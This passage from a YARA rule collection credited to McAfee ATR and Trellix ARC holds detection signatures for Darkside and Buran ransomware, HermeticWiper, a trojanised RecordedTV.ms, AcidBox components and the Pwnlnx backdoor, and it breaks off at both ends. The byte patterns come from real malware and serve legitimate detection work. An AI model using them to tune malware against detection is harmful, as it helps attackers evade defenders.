DB9FF2660F4F8EFDDF7188BD8680E579B03D981C70B4B85DB75EAEE94CD5EFE7407521546B9F0256F7F6BB7BE02A6B24D50108B58048B7807400C895FF7FFDB540E03440E08895C0E04893C0E81EA10002D048168ED9FB1EB05EF83E91079D57EC0DFFFFDE4EC80108A814A02141E02D08AA20A436BFFBFDF88820688A1053BDF7306FEC175DAEB062C076E0B29A3D227F8A327A8C27DFBEDFE04C6B940998D35378D3D05A7B2F3A57DBC8FF7F31520B41D242A9A1BFB8DDD1CB38A8205AB28888305AA11D88DFFFE02C5478A800EFEC23007FEA0D189402F9684D8893D0D7C6BF07BF8CF6004A8CAFF76FC5630040549FF33FFDBAC59109C0C8B46FC8D3406B9150F477291BD05F0AD50283D52C252D961295A532A02B902BB04550608B902B90103E10843260299C3AD8615B2BF2751565333F959AB329FE0EEF874D8C33F81EC1468C885ECFE7777DFF0FFFF50FF4FA9168BB5F00C8BBDF40583FE055877F74BA483FF017205097313B86D00695BF36DFA8BE55DC36C073C2118751C3300D21C210234DF04D2FD06751785FF1B3C1555109AC11EC8B83DEB6A19023EA419644250033FC866DE2636690A75141864FECDEE4C1DDE00770A760EB8FFFFFF7F1B927C490DFF3083C4AEFD7A84F82D6A0068976A02080AFE8FB07509405A083B268945FC837DFCFF7422916D73DF188D45F85072020C1DFC34ECB0AE3672090C3E59746B43DACC8BFFCE3C0D7472E1AD44FB51AAAA0B04576A1057BC67BF3F16470868EFBEADDE3FA8F6105090BDB0670C31070E47040F92F50EC9080CB8624E071B5913D85CD6A8DE6D1FDF6AF9E4D88D045D6D50DAFF58F78F7D63AEC6BE8BF085F6743429562ADDDCE1CBCE088D430119FDBDFF56B027ECEF0A1AAA065639C68BC37077FB9C630484FAF4BAF10B6807A31DB0B14CF20A8BD12DE09A3871989ABBFD24E84013CB376608A783FB048DD2D90317B87FDEFC87DEF8C4E55D49C628308D17EE000DC32FF145B083C027E0F089850CE3FD202387B960051108102B99FE37040B7D14000F8475C41E0FA6DBC5F60F571C119846100320ED17EF8930B1BD4EB0104E17D32CDBCB1056105E3026074F57CDE6E26E5F304840732AE457008B6FF017BF954D8BFAFB4D148A3FFF88447B6DFBD30FFFA3F389550C02106E5359FDF0A964085556BD0A14078B5F6FFFDFBE354F208B5792F003F2C1C60733DE8BF303F0080933CEED2FFFF28BF103F30D33D68BF203F11233C68907892ECBB26D96898947143A243404CBD612202F3B24342CCBB22C0428380818CBB25C802838081820CBB22C3C0C1C2CDFB22C173C0C1C2CED0463476063760CED04750C53606363ED187510ED18D80863637510ED2C6424ED3036C2142C6524ED30234C818D6538ED3065386DA30DFC4D85ED0F851B975E5DF30702CBE5726BC80357105F1867206FB6022F972877307F380F0C024EE572B9DC1EFE56FE5EFE66FE6EA6D996CBFE76FE7E7F3D7F7F94A6699A7F7F7F7F7F9AE5C8708D6B5757575D8C966B57BED8FE2011BFE4B834118B9DA7274320837B2086F1B195000824E977EF1866C335DB32C500E4B2BD154E8B55BA338942200524B5655BFA24EB16831940030C6D370297C0237485CAFC86C21297EE1A818880308D7D80F3B920B16FE21DF2F3ABB900DF518D7580F810CD33E7FED1168D7604E2F92175128B06194DA6ECED078D7F17F473181911C9600933C441290CD5BB0A5B5B59F033E476B05505E00CEDAA9BBDB266E03AA5D908A6BFB960DDDFFCDD4FE0C64580018BA98F7EF05D0C81C379B981A849B1BE07D84150F8510851FC8DAB8360115F547B8D626FADBB1D508D3B50E874D3815240D3E0BF6563F02203740F9908199BBB4B1961646306AE9B780C830627307DC7E63041B73BDB06F8410ECB8A369391B8D51A68A41F000B8278E2C406CE1F0926023676729008AA12F80C1A24446B4B22170E54206317F226F8C37EF45B18B8C3F8EF238B71C65E4E62F475F8F46A0514066C737F01CE04EB43EB3F3D310A1B1CB5D84CD837C2EBC60D2C5A839117A1C12C4468F7BBA5196AD2C86AD6616CDBD8288E2E33ED3CAD1D14C3999178FF733C02CA74D72E71A1A14402EBFC1C332275D4565858CA5D4F846D35570F06E6AC62895FE9BF454B183B480875278D1F30AABEC220586C3BEA0F2C3A0E186BD5E850C63826070017E40793C5F30C0262CC0D776B110D6F68081017F4FDDD58B2C77568040110976256A3D8B3C4B2CC11D3D23DE2DB4636F677FC57FB571F34102048BC03A1088DA3ADD5456CD8C2BE227A30C3A3B18D922A9B1C2C6A9BDB095B62106E38E18B5E12C37BD86CB0403753132F6E56A573B367B10FBC59A8EE97CD409E848530675464A1183064849F924030C31A2C72E1248313F88D1DCF6C125B166CECFC53EC531BB519E4027936286BC0D263936C0F6A245FD4C70B24B15766738C09E89B4A2C585392A89C53325426816407AA7E5111040C8D9913E810EF52A937B527344930AA660C5E017648727CC960E3F07304ADA50B27ACDB8F2D60F0B5833EAF15107A641F05D019EBCCCBACDD2578763D4FA9744A4A0FFC0618E9E3147A6517C1293AECB517D9F88B122E0146336C2CD67D7C5224760B1D0E08506FC8096E7ACA96504FB6B1B1463FD3A6521911F424E1FC5A0142A91AD9A722EC3EEE6B18B26B1C3D7DB1D75EAFFC8D7531831C8535BF8E68EB803FAA5219367958D984534FBE3C1B690664B0B03CCC09209966A401B44050C83336C9ECA29D0004D88465B109215A244576CF58C96AF0346AF4AE9D3DB360BC0E3989C005A9247508F153A7A564036F644553F675A3D4253BAC3956120C5AEBE66EC682D922722568F4C058B36FD730DAEDB57D14450DAA0BD716168151969EAE69921D76C8D85E08626E130C9C11C00D07C160C7846481EDFF72C8A1BDE3DF9F813C18DEADBEEF980340EBF2C631F9EC4E04136DA456A4A1FC8EAC7E73C8C1E0068BD82373CCBB46C6DE01B16A1630408086A44CB2810B2C2F3616500A17F3DE5F0BAB8EAEA556561FFBE5B2F6150A374D358D83E6070A67B303593A5A56223D5A89E4C8254EB60FE492B3D95E56223D5E4FD9EC447286176256223D223972C96250561FB9E46C766656223D6641363B911C26276A56223D488E5C726A51F62E72362B90C7223D6E9D488E5C52C6367256472E399B223D724B963E9CCD4E247656223D7627922397537E427A56964BCE66223D7A545890672269727E72CCA759E47E0AC8A912678203C11A01B23557FBC2E08A53D968243106BE91ACB86472A8C319698152773D833C038C907C420BB3345B061008091C095EE251887010EBDE251B5A160CE0FD66B80904A10B9566ABE74C161266A4D19EE614ECA72DE3F8DC0F84A129461DF421D89E3DE828139F83DA062D4FEEF350ECD3AEFCF6EB6399F833D285D255B390DB6BFDC90530940107A842EB14BB162E2CC12B8B1BD4CB4D33C9192BFFAE400830040E4183F9080E04AC5F713904576A57014C7042E2C8681122C63664F381D8ED9E70B470B8182C883DA58E0EFFE62C080B5B180C256C469348D2C1B408AC1CEC840704300A44AA0EBBB6044381DC0C4BA62EEA1D487CDA4AE10E58D4DC194871F43A5F5DB37064FBF086F034798B83C9A26B096057B0571E7F83172666FD47FE5CFA66C704475C00D565F15702444702D9EB3D62598B151A11EA0B3531B614F06592BA0E46348A5D3932DAC81B1A386C90410C03802C26E0B1CCCD19502B1B035C4379AA3ACD09D534968523BBEB6953CCECBFEC511DB68B27C8F4CB75EC39326FD94ED2820BEB1E27F41821E12E7548293B02750759AC12C23B9616FF57C6082997A5EC1C846C4EC80C6D026D0630968DE46D06251CA43358A41AF84F9CD06CEBA91B5C107EDA562CE1F7C049A5AE83702B0CCB523367A364CD46000B08DD35AD8C91877A08E63C5798CC25C3AC9C86AD927DC615A3A3DC53E7CA217946B6431A1010E864489E911414F0183891906718F8A44D6148561EEBA0D3363ACC9DD08BC8C45110BA36D092BA42CE140510960626A37C49D0736C658C67F0524156E89E609103 }
	condition:
		$pattern_0 or $pattern_1 and filesize < 5831344
}

rule TRELLIX_ARC_RANSOM_Darkside_DLL_May2021 : RANSOM FILE
{
	meta:
		description = "Rule to detect Darkside Ransomware as a DLL"
		author = "TS @ McAfee ATR"
		id = "e9d64637-dc8f-5650-81e1-34e27e6ee912"
		date = "2021-05-14"
		modified = "2023-07-27"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L26-L47"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "f587adbd83ff3f4d2985453cd45c7ab1"
		logic_hash = "39930b6f352642647ea6b80f941201b93d6a9defd42cb75f9e4f7239ff17a4ec"
		score = 75
		quality = 70
		tags = "RANSOM, FILE"
		rule_type = "Public"
		rule_version = "v1"
		malware_type = "Ransom"
	strings:
		$s1 = "encryptor2.dll" wide ascii
		$s2 = "DisableThreadLibraryCalls" wide ascii
		$s3 = "KERNEL32.dll" wide ascii
		$pattern1 = {D24DC8855EDD487B3CD2D545F11031E1FA85C2F2440712445F67D105B326533A77BA75B3383A98CE97EAA2B95798DCFA6B75B5573662F9ED5DC9B7D2E582FD94104E210F3EA62A1826B26B952FFBD5A70A97E6EC3D14794577A2980A0ED1EE02CA291623DD3721A7E68223EDA56F9E1325FE36E191D5C41F7227D55EDC3D5B9359C819}
		$pattern2 = {87FC982E066F585B73D417C0D5F75B86B9F9F8286B4CC42BB2053912D595A68C07C0EDD0159AC785880C5483E246D3501F6523D05078B9B7510711423948D4CB367C83C0833BD04AD6DC655E1BEEA38770470BB48B6EBA70944E952526E4D87A03BAA485D7B4DA1318A00EF07FA76C0D}
		$pattern3 = {1B6F099F1C3C62BBF5543FA03B919C7BF5E477D256CE79D98C55ACE8D69CDC9373B2F0A2B51414776D5226B74BF9A7CB935C9DD04BCFC19FC81418F7A39244A730697E1BC05418BF41DE50E4C8609533591CE80617D476E686B36CF2AE914CB3AFD720A33C0D5DE438F1CD0B}
		$pattern4 = {5060E373F1D3B3BB8D15C851BBFC73F60390681C488F7C0B80FC2EDBC1ED88CEA82014B9223A70EA0BB7DD0D2560A29D39381FEE7B73AE22683AE05C369918F8C5772678A9F29CEF65854238D1C2B762CC12706637154F57A9}
		$pattern5 = {EE452560DBD5A4F46FB562C9C707C8D014BB8F1C18E4467E249F5AC69A87954F5B69650B7A759CE2DD075E99CBCBA37A9C5A0650EDF06285F8F990AF6B94FBA08E3C0B2EBDE3C155ECDB06C30F95D76695}
	condition:
		filesize >= 45KB and filesize <= 70KB and all of ( $s* ) and 4 of ( $pattern* )
}

rule TRELLIX_ARC_Buran_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Buran ransomware"
		author = "Marc Rivero | McAfee ATR Team"
		id = "b96c0e5c-dce2-559d-9623-81e8a9a322f2"
		date = "2019-11-05"
		modified = "2020-08-14"
		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Buran.yar#L1-L27"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "056cf2e6aca22876fb8bfafc14a3be0e42124a26edab42a6f7a928c87fb8fff4"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Buran"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$s1 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
		$s2 = { 4? 33 ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 }
		$s3 = { A1 ?? ?? ?? ?? 99 5? 5? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? ?? 13 ?? ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 4? 99 89 ?? ?? 89 ?? ?? FF 7? ?? FF 7? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 75 }
		$s4 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
		$s5 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 99 E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 4? 5? 8B ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 8C }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule TRELLIX_ARC_Hermeticwiper : TROJAN FILE
{
	meta:
		description = "Detecting variants of Hermetic Wiper malware discovered in UA"
		author = " cb @ Trellix ATR"
		id = "fc6d9238-b732-541d-b083-11b43fe8770d"
		date = "2022-02-24"
		modified = "2022-02-24"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Troj_HermWiper.yar#L1-L27"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "b48e91afa19e09c7035ccda1b9293448e834d612b9a953b593f9412acb78faac"
		score = 75
		quality = 70
		tags = "TROJAN, FILE"
		rule_version = "v1"
		malware_type = "Trojan"
	strings:
		$0 = {E4B5518CD941310A015E4AF8E5968C8231492FE19246A293A569D5D7A36F56EB2FC5B68FFF6F3359C19AF6806920C3FE6628F90A75440E6616297A031BA6075100D72DFAA9829E772E45D77B89F862081EAFDB19B4B2DCEF3F273FF645ACCEAA4B991F98373973C0FB25829E860D9BC195EF1A0AD9219456AD077D42868EE03EE00E88D04C434BA97E88DF99273A35E2C668A1C69954B4762390ABDFBE4CD4AF}
		$1 = {90506F1C825F7AE0D8605F5C627CA325BFF199AB60A63DE8A90E923F4B18D7FB039E1DEC89D573AAB0A14C1D4BA70EB444753A41C03082A60CB4DB551393F2C50988A3181E7F31D01B5AAD94070432D98F18655AB8A555919FEFEA9DE1EDF1}
		$2 = {D5EEF61336015A85FF04ED298A6BDD6742FF153E33DAF9B383A5FFDCE7E64D47748DB5FF2609DF9BD5C66735FF6916797B2D365313FF1461EAEB9DAEA754FF6D4D55D1956CC8CBFF75C10CE74BF88C8DFF3B553B839D42609FFF2916227230}
		$3 = {6C750DDC932124500CE9B5AB91CE101BE9AD348220E9423124512282373675152281023428825C51770FE9841F853375125382F732750A5B83F60FEB6AEE2282647462228269745AEE22826F7452228275744AEE2282787442}
		$4 = {19A8A063FFAAAF6C1E7F78A896FFFA5C8F30BA98B69CFF1961E107BEB7636AFF9EA56A4FC4EDE3F1FF295235ACD0185726FFADA6B8CB54B342C9FF86F58524DC91617BFFB4388DBE01B6CF86}
		$5 = {50C449606B20184A6328556032197660AAF9507861609F6160640560B4546160C3A194056070C4A09EC4A01A0461A4C4A0831B16600561916069A291607061C09160AA1CB6204A}
		$6 = {FFEB19D2636B8B95273156BB63E8C78470D55970F47CF26574B46DE86EE084704590CA8053F15320258BBD1AACF18B04F2E965C6605CB10880B7E8FCF53DF5EB0621635EFF}
		$7 = {7E31126E14B8FF98554F6FCFB64207FFCF8D93B2573609C2FF99E4409F73BB9322FF1E5E380DC0BBABCAFF4B901EDF61BD6A68FFEE3253728C7769ABFF7BCDA939C959A282}
		$8 = {1970FFC6F8AA7C32EE693CFF369579E5355EF62CFF682CEAF20BA3EA1CFF1AAC638666431B20FF54293D1E709C231AFFCD11B55599F64CB9FF1E5A9015DC867F}
		$9 = {8DFF93B2573609C299E4FF409F73BB93221E5EFF380DC0BBABCA4B90FF1EDF61BD6A68EE32FF53728C7769AB7BCDFFA939C959A282D312FF5DD04F0370CE811F}
		$10 = {DF5519064E31101CF3DA96C15FF96728B708F358F51759E3A22FFA1CF1BB986A2038D6753E6BF037945B8469ADF20BAB71E10F3DE27735F640704C970DFE8672}
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule TRELLIX_ARC_Chimera_Recordedtv_Modified : TROJAN FILE
{
	meta:
		description = "Rule to detect the modified version of RecordedTV.ms found in the Operation Skeleton"
		author = "Marc Rivero | McAfee ATR Team"
		id = "b0969713-41a4-550c-9545-f02783fa8d02"
		date = "2020-04-21"
		modified = "2020-08-14"
		reference = "https://medium.com/@cycraft_corp/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_operation_skeleton.yar#L1-L33"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "66f13964c87fc6fe093a9d8cc0de0bf2b3bdaea9564210283fdb97a1dde9893b"
		logic_hash = "7165779b66999259a079fa68f898c5f9fb634adcb9d249366d321dff1014184b"
		score = 75
		quality = 70
		tags = "TROJAN, FILE"
		rule_version = "v1"
		malware_type = "trojan"
		malware_family = "Trojan:W32/RecordedTV"
		actor_type = "Apt"
		actor_group = "Unknown"
	strings:
		$byte = { C0 0E 5B C3 }
		$s1 = "Encrypted file:  CRC failed in %s (password incorrect ?)" fullword wide
		$s2 = "EBorland C++ - Copyright 1999 Inprise Corporation" fullword ascii
		$s3 = " MacOS file type:  %c%c%c%c  ; " fullword wide
		$s4 = "rar.lng" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them
}






rule TRELLIX_ARC_APT_Acidbox_Kernelmode_Module : KERNELDRIVER FILE
{
	meta:
		description = "Rule to detect the kernel mode component of AcidBox"
		author = "Marc Rivero | McAfee ATR Team"
		id = "80b60307-5431-5f21-9e6f-06adaab0519d"
		date = "2020-07-24"
		modified = "2020-08-14"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L1-L32"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "e39da89d0da22115ac7889bc73ff183973a6c5334e304df955362bde76694d42"
		score = 75
		quality = 70
		tags = "KERNELDRIVER, FILE"
		rule_version = "v1"
		malware_type = "kerneldriver"
		malware_family = "Rootkit:W32/Acidbox"
		actor_type = "APT"
		actor_group = "Turla"
		hash1 = "3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d"
	strings:
		$pattern_0 = { 897c2434 8978b8 8d5f28 448bc3 33d2 }
		$pattern_1 = { 4c8d842470010000 488d942418010000 498bcf e8???????? 8bd8 89442460 }
		$pattern_2 = { 4c8bf1 49d1eb 4585c9 0f88a2000000 440fb717 498bd0 }
		$pattern_3 = { ff15???????? 4c8d9c2480000000 498b5b10 498b7318 498b7b20 4d8b7328 498be3 }
		$pattern_4 = { 33d2 41b8???????? 895c2420 e8???????? }
		$pattern_5 = { 895c2420 4885ff 0f8424010000 440f20c0 84c0 0f8518010000 }
		$pattern_6 = { 85f6 0f8469fdffff 488d8424c8010000 41b9???????? }
		$pattern_7 = { 894c2404 750a ffc7 893c24 41ffc3 ebcb 85c9 }
		$pattern_8 = { 488b5c2450 488b742458 488b7c2460 4883c430 }
		$pattern_9 = { 33d2 488b4c2428 e8???????? 448b842450040000 4503c0 4c8d8c2450040000 488bd7 }
	condition:
		7 of them and filesize < 78848
}

rule TRELLIX_ARC_APT_Acidbox_Main_Module_Dll : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the Main mode component of AcidBox"
		author = "Marc Rivero | McAfee ATR Team"
		id = "8c9beb0f-62f7-5788-8340-0b1ecdf54253"
		date = "2020-07-24"
		modified = "2020-08-14"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L34-L65"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "db98e204742b8629074d47df301ffcbb2dfb977a4da91557fb50838aae79e777"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Acidbox"
		actor_type = "APT"
		actor_group = "Turla"
		hash1 = "eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5"
	strings:
		$pattern_0 = { 7707 b8022d03a0 eb05 e8???????? }
		$pattern_1 = { 4403c8 8bc3 41d1c6 33c6 81c6d6c162ca c1cb02 33c7 }
		$pattern_2 = { e9???????? 412b5c2418 8b45dc 412b442408 41015c241c 410144240c 015f1c }
		$pattern_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 }
		$pattern_4 = { 48895c2408 57 4883ec30 498bd8 488bfa 488364245800 85c9 }
		$pattern_5 = { 488987e0010000 e9???????? 81cb001003a0 e9???????? 488b87a0010000 44847806 742e }
		$pattern_6 = { 4d8bcc 4c8d0596c50100 498bd4 488bce e8???????? 498b9de0010000 c74605aa993355 }
		$pattern_7 = { 4533c0 8d5608 e8???????? 488bf0 4889442460 4885c0 750b }
		$pattern_8 = { 488d5558 41c1ee08 41b802000000 44887559 e8???????? 4c8b4de0 894718 }
		$pattern_9 = { 4d03c2 4d3bc2 4d13cc 4d0303 4d3b03 4d8903 4c8b13 }
	condition:
		7 of them and filesize < 550912
}

rule TRELLIX_ARC_APT_Acidbox_Ssp_Dll_Module : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the SSP DLL component of AcidBox"
		author = "Marc Rivero | McAfee ATR Team"
		id = "ef1511c5-f650-5e65-937c-466f00932183"
		date = "2020-07-24"
		modified = "2020-08-14"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L67-L98"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "4c9b9de11d73587ca1ad1efa5455598e41edc5a9a59fc0339c429a212c1c7941"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Acidbox"
		actor_type = "APT"
		actor_group = "Turla"
		hash1 = "003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9"
	strings:
		$pattern_0 = { 49897ba0 8bc7 49894398 49897ba8 33c9 49894bb0 }
		$pattern_1 = { 8b8424a8000000 c1e818 88443108 66895c310a 498b0e }
		$pattern_2 = { 8b5f48 413bdd 410f47dd 85db 0f84f1000000 488b4720 4885c0 }
		$pattern_3 = { e8???????? 85c0 78c7 488d9424a0020000 488d8c24e0030000 ff15???????? 4c8bf8 }
		$pattern_4 = { ff15???????? 488bc8 4c8bc6 33d2 ff15???????? 8bfb 895c2420 }
		$pattern_5 = { 415f c3 4c8bdc 49895b10 }
		$pattern_6 = { 488d842488010000 4889442420 41bf???????? 458bcf 4c8bc7 418bd7 488d8c2490000000 }
		$pattern_7 = { c1e908 0fb6c9 3bce 77b6 8bd0 b9???????? c1ea10 }
		$pattern_8 = { 4c8bc3 ba???????? 488d4c2438 e8???????? 89442430 85c0 7508 }
		$pattern_9 = { bb02160480 8bc3 488b5c2440 488b742448 488b7c2450 4883c430 }
	condition:
		7 of them and filesize < 199680
}

rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_1 : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the backdoor pwnlnx variant 1"
		author = "Marc Rivero | McAfee ATR Team"
		id = "5b76ca62-460c-5c36-a239-700cc509f2b0"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L3-L33"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "0f6033d6f82ce758b576e2d8c483815e908e323d0b700040fbdab5593fb5282b"
		logic_hash = "1487890494dde891a6dbe7dff7ebd5660ee01fe10220215e680115f168c2ae4a"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
